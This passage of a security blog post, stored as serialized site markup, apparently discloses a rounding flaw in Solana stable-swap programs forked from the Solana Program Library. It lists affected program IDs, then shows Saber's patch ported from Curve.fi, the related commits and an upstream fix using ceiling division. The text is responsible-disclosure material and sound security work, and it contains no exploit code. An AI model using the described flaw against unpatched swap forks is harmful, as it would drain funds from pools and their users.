\"Sencha Swap\"\nSSwapUtytfBdBn1b9NUGG6foMVPtcWgpRU32HToDUZr  - \"Saros Swap\"\nSSwpkEEcbUqx4vtoEByFjSkhKdCT862DNVb52nZg1UZ  - Saber Stable Swap Program\nSSwpMgqNDsyV7mAgN9ady4bDVu5ySjmmXejXvy2vLt1  - Step Finance Swap Program\nSwaPpA9LAaLfeLi3a68M4DjnLqgtticKg6CnyNwgAC8  - Swap Program\n",[5799],{"type":25,"tag":115,"props":5800,"children":5801},{"__ignoreMap":7},[5802],{"type":31,"value":5797},{"type":25,"tag":34,"props":5804,"children":5805},{},[5806],{"type":31,"value":5807},"Now it was time to contact these teams.",{"type":25,"tag":34,"props":5809,"children":5810},{},[5811],{"type":31,"value":5812},"Of these protocols, Saber was the only one which had BTC stable swaps, which would make exploitation immediately profitable. Luckily, they were also the most responsive, triaging and patching the vulnerability in just over one day.",{"type":25,"tag":34,"props":5814,"children":5815},{},[5816],{"type":31,"value":5817},"After some discussion, they decided to port a patch from Curve.fi, subtracting one from the output amount.",{"type":25,"tag":191,"props":5819,"children":5821},{"code":5820,"language":4486,"meta":7,"className":4487,"style":7},"-        let dy = swap_destination_amount.checked_sub(y)?;\n+        // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n+        let dy = swap_destination_amount.checked_sub(y)?.checked_sub(1)?;\n",[5822],{"type":25,"tag":115,"props":5823,"children":5824},{"__ignoreMap":7},[5825,5879,5892],{"type":25,"tag":201,"props":5826,"children":5827},{"class":203,"line":204},[5828,5833,5837,5842,5846,5851,5855,5859,5863,5867,5871,5875],{"type":25,"tag":201,"props":5829,"children":5830},{"style":261},[5831],{"type":31,"value":5832},"-",{"type":25,"tag":201,"props":5834,"children":5835},{"style":208},[5836],{"type":31,"value":1897},{"type":25,"tag":201,"props":5838,"children":5839},{"style":246},[5840],{"type":31,"value":5841}," dy",{"type":25,"tag":201,"props":5843,"children":5844},{"style":261},[5845],{"type":31,"value":413},{"type":25,"tag":201,"props":5847,"children":5848},{"style":246},[5849],{"type":31,"value":5850}," swap_destination_amount",{"type":25,"tag":201,"props":5852,"children":5853},{"style":261},[5854],{"type":31,"value":80},{"type":25,"tag":201,"props":5856,"children":5857},{"style":214},[5858],{"type":31,"value":4742},{"type":25,"tag":201,"props":5860,"children":5861},{"style":220},[5862],{"type":31,"value":298},{"type":25,"tag":201,"props":5864,"children":5865},{"style":246},[5866],{"type":31,"value":4620},{"type":25,"tag":201,"props":5868,"children":5869},{"style":220},[5870],{"type":31,"value":3073},{"type":25,"tag":201,"props":5872,"children":5873},{"style":261},[5874],{"type":31,"value":4661},{"type":25,"tag":201,"props":5876,"children":5877},{"style":220},[5878],{"type":31,"value":461},{"type":25,"tag":201,"props":5880,"children":5881},{"class":203,"line":226},[5882,5887],{"type":25,"tag":201,"props":5883,"children":5884},{"style":261},[5885],{"type":31,"value":5886},"+",{"type":25,"tag":201,"props":5888,"children":5889},{"style":4497},[5890],{"type":31,"value":5891},"        // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n",{"type":25,"tag":201,"props":5893,"children":5894},{"class":203,"line":278},[5895,5899,5903,5907,5911,5915,5919,5923,5927,5931,5935,5939,5943,5947,5951,5955,5959],{"type":25,"tag":201,"props":5896,"children":5897},{"style":261},[5898],{"type":31,"value":5886},{"type":25,"tag":201,"props":5900,"children":5901},{"style":208},[5902],{"type":31,"value":1897},{"type":25,"tag":201,"props":5904,"children":5905},{"style":246},[5906],{"type":31,"value":5841},{"type":25,"tag":201,"props":5908,"children":5909},{"style":261},[5910],{"type":31,"value":413},{"type":25,"tag":201,"props":5912,"children":5913},{"style":246},[5914],{"type":31,"value":5850},{"type":25,"tag":201,"props":5916,"children":5917},{"style":261},[5918],{"type":31,"value":80},{"type":25,"tag":201,"props":5920,"children":5921},{"style":214},[5922],{"type":31,"value":4742},{"type":25,"tag":201,"props":5924,"children":5925},{"style":220},[5926],{"type":31,"value":298},{"type":25,"tag":201,"props":5928,"children":5929},{"style":246},[5930],{"type":31,"value":4620},{"type":25,"tag":201,"props":5932,"children":5933},{"style":220},[5934],{"type":31,"value":3073},{"type":25,"tag":201,"props":5936,"children":5937},{"style":261},[5938],{"type":31,"value":4638},{"type":25,"tag":201,"props":5940,"children":5941},{"style":214},[5942],{"type":31,"value":4742},{"type":25,"tag":201,"props":5944,"children":5945},{"style":220},[5946],{"type":31,"value":298},{"type":25,"tag":201,"props":5948,"children":5949},{"style":426},[5950],{"type":31,"value":5516},{"type":25,"tag":201,"props":5952,"children":5953},{"style":220},[5954],{"type":31,"value":3073},{"type":25,"tag":201,"props":5956,"children":5957},{"style":261},[5958],{"type":31,"value":4661},{"type":25,"tag":201,"props":5960,"children":5961},{"style":220},[5962],{"type":31,"value":461},{"type":25,"tag":34,"props":5964,"children":5965},{},[5966,5968,5975],{"type":31,"value":5967},"For reference, here is the ",{"type":25,"tag":71,"props":5969,"children":5972},{"href":5970,"rel":5971},"https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466",[75],[5973],{"type":31,"value":5974},"Curve.fi implementation",{"type":31,"value":80},{"type":25,"tag":191,"props":5977,"children":5981},{"code":5978,"language":5979,"meta":7,"className":5980,"style":7},"    dy: uint256 = xp[j] - y - 1  # -1 just in case there were some rounding errors\n    dy_fee: uint256 = dy * self.fee / FEE_DENOMINATOR\n","solidity","language-solidity shiki shiki-themes slack-dark",[5982],{"type":25,"tag":115,"props":5983,"children":5984},{"__ignoreMap":7},[5985,6048],{"type":25,"tag":201,"props":5986,"children":5987},{"class":203,"line":204},[5988,5993,5998,6003,6007,6012,6016,6021,6025,6030,6035,6039,6043],{"type":25,"tag":201,"props":5989,"children":5990},{"style":220},[5991],{"type":31,"value":5992},"    dy",{"type":25,"tag":201,"props":5994,"children":5995},{"style":261},[5996],{"type":31,"value":5997},":",{"type":25,"tag":201,"props":5999,"children":6000},{"style":4925},[6001],{"type":31,"value":6002}," uint256",{"type":25,"tag":201,"props":6004,"children":6005},{"style":261},[6006],{"type":31,"value":413},{"type":25,"tag":201,"props":6008,"children":6009},{"style":220},[6010],{"type":31,"value":6011}," xp[j] ",{"type":25,"tag":201,"props":6013,"children":6014},{"style":261},[6015],{"type":31,"value":5832},{"type":25,"tag":201,"props":6017,"children":6018},{"style":220},[6019],{"type":31,"value":6020}," y ",{"type":25,"tag":201,"props":6022,"children":6023},{"style":261},[6024],{"type":31,"value":5832},{"type":25,"tag":201,"props":6026,"children":6027},{"style":426},[6028],{"type":31,"value":6029}," 1",{"type":25,"tag":201,"props":6031,"children":6032},{"style":220},[6033],{"type":31,"value":6034},"  # ",{"type":25,"tag":201,"props":6036,"children":6037},{"style":261},[6038],{"type":31,"value":5832},{"type":25,"tag":201,"props":6040,"children":6041},{"style":426},[6042],{"type":31,"value":5516},{"type":25,"tag":201,"props":6044,"children":6045},{"style":220},[6046],{"type":31,"value":6047}," just in case there were some rounding errors\n",{"type":25,"tag":201,"props":6049,"children":6050},{"class":203,"line":226},[6051,6056,6060,6064,6068,6073,6078,6083,6088],{"type":25,"tag":201,"props":6052,"children":6053},{"style":220},[6054],{"type":31,"value":6055},"    dy_fee",{"type":25,"tag":201,"props":6057,"children":6058},{"style":261},[6059],{"type":31,"value":5997},{"type":25,"tag":201,"props":6061,"children":6062},{"style":4925},[6063],{"type":31,"value":6002},{"type":25,"tag":201,"props":6065,"children":6066},{"style":261},[6067],{"type":31,"value":413},{"type":25,"tag":201,"props":6069,"children":6070},{"style":220},[6071],{"type":31,"value":6072}," dy ",{"type":25,"tag":201,"props":6074,"children":6075},{"style":261},[6076],{"type":31,"value":6077},"*",{"type":25,"tag":201,"props":6079,"children":6080},{"style":220},[6081],{"type":31,"value":6082}," self.fee ",{"type":25,"tag":201,"props":6084,"children":6085},{"style":261},[6086],{"type":31,"value":6087},"/",{"type":25,"tag":201,"props":6089,"children":6090},{"style":220},[6091],{"type":31,"value":6092}," FEE_DENOMINATOR\n",{"type":25,"tag":34,"props":6094,"children":6095},{},[6096,6098,6105],{"type":31,"value":6097},"We originally thought this was an additional patch that didn't get ported over to Solana. However, it turns out this code was actually included in the ",{"type":25,"tag":71,"props":6099,"children":6102},{"href":6100,"rel":6101},"https://github.com/curvefi/curve-contract/commit/0fd801df7488d89f0e2fc81e760942d7858b01d6",[75],[6103],{"type":31,"value":6104},"original commit",{"type":31,"value":6106},", not as an additional security patch.",{"type":25,"tag":191,"props":6108,"children":6110},{"code":6109},"commit 0fd801df7488d89f0e2fc81e760942d7858b01d6\nAuthor: Ben Hauser \u003Cben@hauser.id>\nDate:   Mon Aug 31 02:35:30 2020 +0300\n\n    feat: add base pool without lending\n",[6111],{"type":25,"tag":115,"props":6112,"children":6113},{"__ignoreMap":7},[6114],{"type":31,"value":6109},{"type":25,"tag":34,"props":6116,"children":6117},{},[6118,6120,6127],{"type":31,"value":6119},"The commit adding stable swaps to SPL was ",{"type":25,"tag":71,"props":6121,"children":6124},{"href":6122,"rel":6123},"https://github.com/solana-labs/solana-program-library/commit/d62ddd2b94d5d2daaa97460b165d288610a87623",[75],[6125],{"type":31,"value":6126},"made a few months later",{"type":31,"value":6128},", meaning there was some disconnect when porting the code. Either the rounding was thought to be unnecesary, or it was simply forgotten.",{"type":25,"tag":191,"props":6130,"children":6132},{"code":6131},"commit d62ddd2b94d5d2daaa97460b165d288610a87623\nAuthor: Yuriy Savchenko \u003Cyuriy.savchenko@gmail.com>\nDate:   Tue Nov 17 15:13:18 2020 +0200\n\n    Added stable curve invariant to the token swap smart contract (#838)\n\n    * Added stable curve invariant to the token swap smart contract\n\n    * Fixed formatting\n\n    * Added missing stable curve constraints\n\n    * Symbol renames to make math clearer\n\n    * Small refactoring according to PR comments, fixes for JS tests\n",[6133],{"type":25,"tag":115,"props":6134,"children":6135},{"__ignoreMap":7},[6136],{"type":31,"value":6131},{"type":25,"tag":34,"props":6138,"children":6139},{},[6140,6142,6149],{"type":31,"value":6141},"After contacting some other swap projects which were unaffected, we decided to notify the Solana team in order to get a patch upstreamed to ",{"type":25,"tag":71,"props":6143,"children":6146},{"href":6144,"rel":6145},"https://github.com/solana-labs/solana-program-library",[75],[6147],{"type":31,"value":6148},"the Solana Program Library",{"type":31,"value":80},{"type":25,"tag":34,"props":6151,"children":6152},{},[6153],{"type":31,"value":6154},"While few projects deploy the swap program from the Solana Program Library, the SPL program is meant as a reference implementation, and many exchanges fork their own code off of it.",{"type":25,"tag":34,"props":6156,"children":6157},{},[6158,6165],{"type":25,"tag":71,"props":6159,"children":6162},{"href":6160,"rel":6161},"https://github.com/joncinque",[75],[6163],{"type":31,"value":6164},"@joncinque",{"type":31,"value":6166}," helped triage this patch. We also asked him for his thoughts on a more complete solution.",{"type":25,"tag":4439,"props":6168,"children":6169},{},[6170],{"type":25,"tag":34,"props":6171,"children":6172},{},[6173],{"type":31,"value":6174},"Honestly, the idea of just subtracting 1 from the output will cover almost all situations correctly, so it's a good quick solution. I'll take a look to see if we can solve this for all situations through a correct application of checked_ceil_div, as with the constant product curve.",{"type":25,"tag":34,"props":6176,"children":6177},{},[6178,6180,6187,6189,6195],{"type":31,"value":6179},"After some thought, he helped ",{"type":25,"tag":71,"props":6181,"children":6184},{"href":6182,"rel":6183},"https://github.com/solana-labs/solana-program-library/pull/2942",[75],[6185],{"type":31,"value":6186},"introduce a PR",{"type":31,"value":6188}," which ceilings the computation in ",{"type":25,"tag":115,"props":6190,"children":6192},{"className":6191},[],[6193],{"type":31,"value":6194},"compute_new_destination_amount",{"type":31,"value":6196}," to correctly round within the stable curve math library.",{"type":25,"tag":191,"props":6198,"children":6200},{"code":6199,"language":4486,"meta":7,"className":4487,"style":7},"     // Solve for y by approximating: y**2 + b*y = c\n     let mut y_prev: U256;\n     let mut y = d_val;\n     for _ in 0..ITERATIONS {\n-        y_prev = y;\n-        y = (checked_u8_power(&y, 2)?.checked_add(c)?)\n-            .checked_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n-        if y == y_prev {\n+        let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n+            .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n+        if y_new == y {\n             break;\n+        } else {\n+            y = y_new;\n         }\n",[6201],{"type":25,"tag":115,"props":6202,"children":6203},{"__ignoreMap":7},[6204,6212,6242,6269,6297,6321,6397,6501,6528,6623,6726,6753,6765,6784,6807],{"type":25,"tag":201,"props":6205,"children":6206},{"class":203,"line":204},[6207],{"type":25,"tag":201,"props":6208,"children":6209},{"style":4497},[6210],{"type":31,"value":6211},"     // Solve for y by approximating: y**2 + b*y = c\n",{"type":25,"tag":201,"props":6213,"children":6214},{"class":203,"line":226},[6215,6220,6224,6229,6233,6238],{"type":25,"tag":201,"props":6216,"children":6217},{"style":208},[6218],{"type":31,"value":6219},"     let",{"type":25,"tag":201,"props":6221,"children":6222},{"style":208},[6223],{"type":31,"value":4513},{"type":25,"tag":201,"props":6225,"children":6226},{"style":246},[6227],{"type":31,"value":6228}," y_prev",{"type":25,"tag":201,"props":6230,"children":6231},{"style":261},[6232],{"type":31,"value":5997},{"type":25,"tag":201,"props":6234,"children":6235},{"style":4925},[6236],{"type":31,"value":6237}," U256",{"type":25,"tag":201,"props":6239,"children":6240},{"style":220},[6241],{"type":31,"value":461},{"type":25,"tag":201,"props":6243,"children":6244},{"class":203,"line":278},[6245,6249,6253,6257,6261,6265],{"type":25,"tag":201,"props":6246,"children":6247},{"style":208},[6248],{"type":31,"value":6219},{"type":25,"tag":201,"props":6250,"children":6251},{"style":208},[6252],{"type":31,"value":4513},{"type":25,"tag":201,"props":6254,"children":6255},{"style":246},[6256],{"type":31,"value":4518},{"type":25,"tag":201,"props":6258,"children":6259},{"style":261},[6260],{"type":31,"value":413},{"type":25,"tag":201,"props":6262,"children":6263},{"style":246},[6264],{"type":31,"value":4527},{"type":25,"tag":201,"props":6266,"children":6267},{"style":220},[6268],{"type":31,"value":461},{"type":25,"tag":201,"props":6270,"children":6271},{"class":203,"line":311},[6272,6277,6281,6285,6289,6293],{"type":25,"tag":201,"props":6273,"children":6274},{"style":230},[6275],{"type":31,"value":6276},"     for",{"type":25,"tag":201,"props":6278,"children":6279},{"style":246},[6280],{"type":31,"value":4544},{"type":25,"tag":201,"props":6282,"children":6283},{"style":208},[6284],{"type":31,"value":4549},{"type":25,"tag":201,"props":6286,"children":6287},{"style":426},[6288],{"type":31,"value":4554},{"type":25,"tag":201,"props":6290,"children":6291},{"style":261},[6292],{"type":31,"value":4559},{"type":25,"tag":201,"props":6294,"children":6295},{"style":220},[6296],{"type":31,"value":4564},{"type":25,"tag":201,"props":6298,"children":6299},{"class":203,"line":330},[6300,6304,6309,6313,6317],{"type":25,"tag":201,"props":6301,"children":6302},{"style":261},[6303],{"type":31,"value":5832},{"type":25,"tag":201,"props":6305,"children":6306},{"style":246},[6307],{"type":31,"value":6308},"        y_prev",{"type":25,"tag":201,"props":6310,"children":6311},{"style":261},[6312],{"type":31,"value":413},{"type":25,"tag":201,"props":6314,"children":6315},{"style":246},[6316],{"type":31,"value":4518},{"type":25,"tag":201,"props":6318,"children":6319},{"style":220},[6320],{"type":31,"value":461},{"type":25,"tag":201,"props":6322,"children":6323},{"class":203,"line":397},[6324,6328,6333,6337,6341,6345,6349,6353,6357,6361,6365,6369,6373,6377,6381,6385,6389,6393],{"type":25,"tag":201,"props":6325,"children":6326},{"style":261},[6327],{"type":31,"value":5832},{"type":25,"tag":201,"props":6329,"children":6330},{"style":246},[6331],{"type":31,"value":6332},"        y",{"type":25,"tag":201,"props":6334,"children":6335},{"style":261},[6336],{"type":31,"value":413},{"type":25,"tag":201,"props":6338,"children":6339},{"style":220},[6340],{"type":31,"value":238},{"type":25,"tag":201,"props":6342,"children":6343},{"style":214},[6344],{"type":31,"value":4606},{"type":25,"tag":201,"props":6346,"children":6347},{"style":220},[6348],{"type":31,"value":298},{"type":25,"tag":201,"props":6350,"children":6351},{"style":261},[6352],{"type":31,"value":4615},{"type":25,"tag":201,"props":6354,"children":6355},{"style":246},[6356],{"type":31,"value":4620},{"type":25,"tag":201,"props":6358,"children":6359},{"style":220},[6360],{"type":31,"value":919},{"type":25,"tag":201,"props":6362,"children":6363},{"style":426},[6364],{"type":31,"value":4629},{"type":25,"tag":201,"props":6366,"children":6367},{"style":220},[6368],{"type":31,"value":3073},{"type":25,"tag":201,"props":6370,"children":6371},{"style":261},[6372],{"type":31,"value":4638},{"type":25,"tag":201,"props":6374,"children":6375},{"style":214},[6376],{"type":31,"value":4643},{"type":25,"tag":201,"props":6378,"children":6379},{"style":220},[6380],{"type":31,"value":298},{"type":25,"tag":201,"props":6382,"children":6383},{"style":246},[6384],{"type":31,"value":4652},{"type":25,"tag":201,"props":6386,"children":6387},{"style":220},[6388],{"type":31,"value":3073},{"type":25,"tag":201,"props":6390,"children":6391},{"style":261},[6392],{"type":31,"value":4661},{"type":25,"tag":201,"props":6394,"children":6395},{"style":220},[6396],{"type":31,"value":4666},{"type":25,"tag":201,"props":6398,"children":6399},{"class":203,"line":437},[6400,6404,6408,6413,6417,6421,6425,6429,6433,6437,6441,6445,6449,6453,6457,6461,6465,6469,6473,6477,6481,6485,6489,6493,6497],{"type":25,"tag":201,"props":6401,"children":6402},{"style":261},[6403],{"type":31,"value":5832},{"type":25,"tag":201,"props":6405,"children":6406},{"style":261},[6407],{"type":31,"value":4674},{"type":25,"tag":201,"props":6409,"children":6410},{"style":214},[6411],{"type":31,"value":6412},"checked_div",{"type":25,"tag":201,"props":6414,"children":6415},{"style":220},[6416],{"type":31,"value":298},{"type":25,"tag":201,"props":6418,"children":6419},{"style":214},[6420],{"type":31,"value":4688},{"type":25,"tag":201,"props":6422,"children":6423},{"style":220},[6424],{"type":31,"value":298},{"type":25,"tag":201,"props":6426,"children":6427},{"style":261},[6428],{"type":31,"value":4615},{"type":25,"tag":201,"props":6430,"children":6431},{"style":246},[6432],{"type":31,"value":4620},{"type":25,"tag":201,"props":6434,"children":6435},{"style":220},[6436],{"type":31,"value":919},{"type":25,"tag":201,"props":6438,"children":6439},{"style":426},[6440],{"type":31,"value":4629},{"type":25,"tag":201,"props":6442,"children":6443},{"style":220},[6444],{"type":31,"value":3073},{"type":25,"tag":201,"props":6446,"children":6447},{"style":261},[6448],{"type":31,"value":4638},{"type":25,"tag":201,"props":6450,"children":6451},{"style":214},[6452],{"type":31,"value":4643},{"type":25,"tag":201,"props":6454,"children":6455},{"style":220},[6456],{"type":31,"value":298},{"type":25,"tag":201,"props":6458,"children":6459},{"style":246},[6460],{"type":31,"value":4729},{"type":25,"tag":201,"props":6462,"children":6463},{"style":220},[6464],{"type":31,"value":3073},{"type":25,"tag":201,"props":6466,"children":6467},{"style":261},[6468],{"type":31,"value":4638},{"type":25,"tag":201,"props":6470,"children":6471},{"style":214},[6472],{"type":31,"value":4742},{"type":25,"tag":201,"props":6474,"children":6475},{"style":220},[6476],{"type":31,"value":298},{"type":25,"tag":201,"props":6478,"children":6479},{"style":246},[6480],{"type":31,"value":4751},{"type":25,"tag":201,"props":6482,"children":6483},{"style":220},[6484],{"type":31,"value":3073},{"type":25,"tag":201,"props":6486,"children":6487},{"style":261},[6488],{"type":31,"value":4661},{"type":25,"tag":201,"props":6490,"children":6491},{"style":220},[6492],{"type":31,"value":3073},{"type":25,"tag":201,"props":6494,"children":6495},{"style":261},[6496],{"type":31,"value":4661},{"type":25,"tag":201,"props":6498,"children":6499},{"style":220},[6500],{"type":31,"value":461},{"type":25,"tag":201,"props":6502,"children":6503},{"class":203,"line":464},[6504,6508,6512,6516,6520,6524],{"type":25,"tag":201,"props":6505,"children":6506},{"style":261},[6507],{"type":31,"value":5832},{"type":25,"tag":201,"props":6509,"children":6510},{"style":230},[6511],{"type":31,"value":4779},{"type":25,"tag":201,"props":6513,"children":6514},{"style":246},[6515],{"type":31,"value":4518},{"type":25,"tag":201,"props":6517,"children":6518},{"style":261},[6519],{"type":31,"value":4789},{"type":25,"tag":201,"props":6521,"children":6522},{"style":246},[6523],{"type":31,"value":6228},{"type":25,"tag":201,"props":6525,"children":6526},{"style":220},[6527],{"type":31,"value":327},{"type":25,"tag":201,"props":6529,"children":6530},{"class":203,"line":490},[6531,6535,6539,6543,6547,6551,6555,6559,6563,6567,6571,6575,6579,6583,6587,6591,6595,6599,6603,6607,6611,6615,6619],{"type":25,"tag":201,"props":6532,"children":6533},{"style":261},[6534],{"type":31,"value":5886},{"type":25,"tag":201,"props":6536,"children":6537},{"style":208},[6538],{"type":31,"value":1897},{"type":25,"tag":201,"props":6540,"children":6541},{"style":220},[6542],{"type":31,"value":238},{"type":25,"tag":201,"props":6544,"children":6545},{"style":246},[6546],{"type":31,"value":4580},{"type":25,"tag":201,"props":6548,"children":6549},{"style":220},[6550],{"type":31,"value":919},{"type":25,"tag":201,"props":6552,"children":6553},{"style":246},[6554],{"type":31,"value":4589},{"type":25,"tag":201,"props":6556,"children":6557},{"style":220},[6558],{"type":31,"value":385},{"type":25,"tag":201,"props":6560,"children":6561},{"style":261},[6562],{"type":31,"value":1383},{"type":25,"tag":201,"props":6564,"children":6565},{"style":220},[6566],{"type":31,"value":238},{"type":25,"tag":201,"props":6568,"children":6569},{"style":214},[6570],{"type":31,"value":4606},{"type":25,"tag":201,"props":6572,"children":6573},{"style":220},[6574],{"type":31,"value":298},{"type":25,"tag":201,"props":6576,"children":6577},{"style":261},[6578],{"type":31,"value":4615},{"type":25,"tag":201,"props":6580,"children":6581},{"style":246},[6582],{"type":31,"value":4620},{"type":25,"tag":201,"props":6584,"children":6585},{"style":220},[6586],{"type":31,"value":919},{"type":25,"tag":201,"props":6588,"children":6589},{"style":426},[6590],{"type":31,"value":4629},{"type":25,"tag":201,"props":6592,"children":6593},{"style":220},[6594],{"type":31,"value":3073},{"type":25,"tag":201,"props":6596,"children":6597},{"style":261},[6598],{"type":31,"value":4638},{"type":25,"tag":201,"props":6600,"children":6601},{"style":214},[6602],{"type":31,"value":4643},{"type":25,"tag":201,"props":6604,"children":6605},{"style":220},[6606],{"type":31,"value":298},{"type":25,"tag":201,"props":6608,"children":6609},{"style":246},[6610],{"type":31,"value":4652},{"type":25,"tag":201,"props":6612,"children":6613},{"style":220},[6614],{"type":31,"value":3073},{"type":25,"tag":201,"props":6616,"children":6617},{"style":261},[6618],{"type":31,"value":4661},{"type":25,"tag":201,"props":6620,"children":6621},{"style":220},[6622],{"type":31,"value":4666},{"type":25,"tag":201,"props":6624,"children":6625},{"class":203,"line":499},[6626,6630,6634,6638,6642,6646,6650,6654,6658,6662,6666,6670,6674,6678,6682,6686,6690,6694,6698,6702,6706,6710,6714,6718,6722],{"type":25,"tag":201,"props":6627,"children":6628},{"style":261},[6629],{"type":31,"value":5886},{"type":25,"tag":201,"props":6631,"children":6632},{"style":261},[6633],{"type":31,"value":4674},{"type":25,"tag":201,"props":6635,"children":6636},{"style":214},[6637],{"type":31,"value":4679},{"type":25,"tag":201,"props":6639,"children":6640},{"style":220},[6641],{"type":31,"value":298},{"type":25,"tag":201,"props":6643,"children":6644},{"style":214},[6645],{"type":31,"value":4688},{"type":25,"tag":201,"props":6647,"children":6648},{"style":220},[6649],{"type":31,"value":298},{"type":25,"tag":201,"props":6651,"children":6652},{"style":261},[6653],{"type":31,"value":4615},{"type":25,"tag":201,"props":6655,"children":6656},{"style":246},[6657],{"type":31,"value":4620},{"type":25,"tag":201,"props":6659,"children":6660},{"style":220},[6661],{"type":31,"value":919},{"type":25,"tag":201,"props":6663,"children":6664},{"style":426},[6665],{"type":31,"value":4629},{"type":25,"tag":201,"props":6667,"children":6668},{"style":220},[6669],{"type":31,"value":3073},{"type":25,"tag":201,"props":6671,"children":6672},{"style":261},[6673],{"type":31,"value":4638},{"type":25,"tag":201,"props":6675,"children":6676},{"style":214},[6677],{"type":31,"value":4643},{"type":25,"tag":201,"props":6679,"children":6680},{"style":220},[6681],{"type":31,"value":298},{"type":25,"tag":201,"props":6683,"children":6684},{"style":246},[6685],{"type":31,"value":4729},{"type":25,"tag":201,"props":6687,"children":6688},{"style":220},[6689],{"type":31,"value":3073},{"type":25,"tag":201,"props":6691,"children":6692},{"style":261},[6693],{"type":31,"value":4638},{"type":25,"tag":201,"props":6695,"children":6696},{"style":214},[6697],{"type":31,"value":4742},{"type":25,"tag":201,"props":6699,"children":6700},{"style":220},[6701],{"type":31,"value":298},{"type":25,"tag":201,"props":6703,"children":6704},{"style":246},[6705],{"type":31,"value":4751},{"type":25,"tag":201,"props":6707,"children":6708},{"style":220},[6709],{"type":31,"value":3073},{"type":25,"tag":201,"props":6711,"children":6712},{"style":261},[6713],{"type":31,"value":4661},{"type":25,"tag":201,"props":6715,"children":6716},{"style":220},[6717],{"type":31,"value":3073},{"type":25,"tag":201,"props":6719,"children":6720},{"style":261},[6721],{"type":31,"value":4661},{"type":25,"tag":201,"props":6723,"children":6724},{"style":220},[6725],{"type":31,"value":461},{"type":25,"tag":201,"props":6727,"children":6728},{"class":203,"line":522},[6729,6733,6737,6741,6745,6749],{"type":25,"tag":201,"props":6730,"children":6731},{"style":261},[6732],{"type":31,"value":5886},{"type":25,"tag":201,"props":6734,"children":6735},{"style":230},[6736],{"type":31,"value":4779},{"type":25,"tag":201,"props":6738,"children":6739},{"style":246},[6740],{"type":31,"value":4784},{"type":25,"tag":201,"props":6742,"children":6743},{"style":261},[6744],{"type":31,"value":4789},{"type":25,"tag":201,"props":6746,"children":6747},{"style":246},[6748],{"type":31,"value":4518},{"type":25,"tag":201,"props":6750,"children":6751},{"style":220},[6752],{"type":31,"value":327},{"type":25,"tag":201,"props":6754,"children":6755},{"class":203,"line":531},[6756,6761],{"type":25,"tag":201,"props":6757,"children":6758},{"style":230},[6759],{"type":31,"value":6760},"             break",{"type":25,"tag":201,"props":6762,"children":6763},{"style":220},[6764],{"type":31,"value":461},{"type":25,"tag":201,"props":6766,"children":6767},{"class":203,"line":550},[6768,6772,6776,6780],{"type":25,"tag":201,"props":6769,"children":6770},{"style":261},[6771],{"type":31,"value":5886},{"type":25,"tag":201,"props":6773,"children":6774},{"style":220},[6775],{"type":31,"value":4817},{"type":25,"tag":201,"props":6777,"children":6778},{"style":230},[6779],{"type":31,"value":322},{"type":25,"tag":201,"props":6781,"children":6782},{"style":220},[6783],{"type":31,"value":327},{"type":25,"tag":201,"props":6785,"children":6786},{"class":203,"line":563},[6787,6791,6795,6799,6803],{"type":25,"tag":201,"props":6788,"children":6789},{"style":261},[6790],{"type":31,"value":5886},{"type":25,"tag":201,"props":6792,"children":6793},{"style":246},[6794],{"type":31,"value":4833},{"type":25,"tag":201,"props":6796,"children":6797},{"style":261},[6798],{"type":31,"value":413},{"type":25,"tag":201,"props":6800,"children":6801},{"style":246},[6802],{"type":31,"value":4784},{"type":25,"tag":201,"props":6804,"children":6805},{"style":220},[6806],{"type":31,"value":461},{"type":25,"tag":201,"props":6808,"children":6809},{"class":203,"line":572},[6810],{"type":25,"tag":201,"props":6811,"children":6812},{"style":220},[6813],{"type":31,"value":6814},"         }\n",{"type":25,"tag":26,"props":6816,"children":6818},{"id":6817},"closing-thoughts",[6819],{"type":31,"value":6820},"Closing Thoughts",{"type":25,"tag":34,"props":6822,"children":6823},{},[6824],{"type":31,"value":6825},"This is a good example of how messing around and interacting with the ecosystem can lead to unexpected bugs. We found this, not as a result of active security research, but as part of our work in MEV and trading.",{"type":25,"tag":34,"props":6827,"children":6828},{},[6829,6831,6836],{"type":31,"value":6830},"Another interesting takeaway is that ",{"type":25,"tag":1252,"props":6832,"children":6833},{},[6834],{"type":31,"value":6835},"fuzzing can give a false sense of security",{"type":31,"value":6837},". Prior to our report, Saber had already deployed comprehensive fuzzers for their swap implementation. A researcher looking at code coverage alone might come to the incorrect conclusion that such extensively fuzzed code couldn't possibly have a vulnerability.",{"type":25,"tag":34,"props":6839,"children":6840},{},[6841,6843,6850],{"type":31,"value":6842},"One can see parallels to traditional security, as with Google Project Zero's ",{"type":25,"tag":71,"props":6844,"children":6847},{"href":6845,"rel":6846},"https://googleprojectzero.blogspot.com/2021/12/this-shouldnt-have-happened.html",[75],[6848],{"type":31,"value":6849},"port-mortem of the NSS overflow",{"type":31,"value":80},{"type":25,"tag":34,"props":6852,"children":6853},{},[6854],{"type":25,"tag":127,"props":6855,"children":6857},{"alt":7,"src":6856},"/posts/spl-swap/p0.png",[],{"type":25,"tag":34,"props":6859,"children":6860},{},[6861],{"type":31,"value":6862},"A heavily fuzzed method had a trivial buffer overflow due to an arbitrary size limit on the input data. Implict assumptions can often undermine security.",{"type":25,"tag":34,"props":6864,"children":6865},{},[6866],{"type":31,"value":6867},"Especially with regard to onchain programs, it's important to consider what actually is a \"vulnerability\". Getting tokens from nothing is a more obvious example, but more subtle bugs can arise with increasingly complex defi interactions. Economic invariants are much harder to detect than say, memory corruption.",{"type":25,"tag":34,"props":6869,"children":6870},{},[6871],{"type":31,"value":6872},"A comprehensive evaluation of smart contracts relies on a deep understanding of economic implications within the Solana 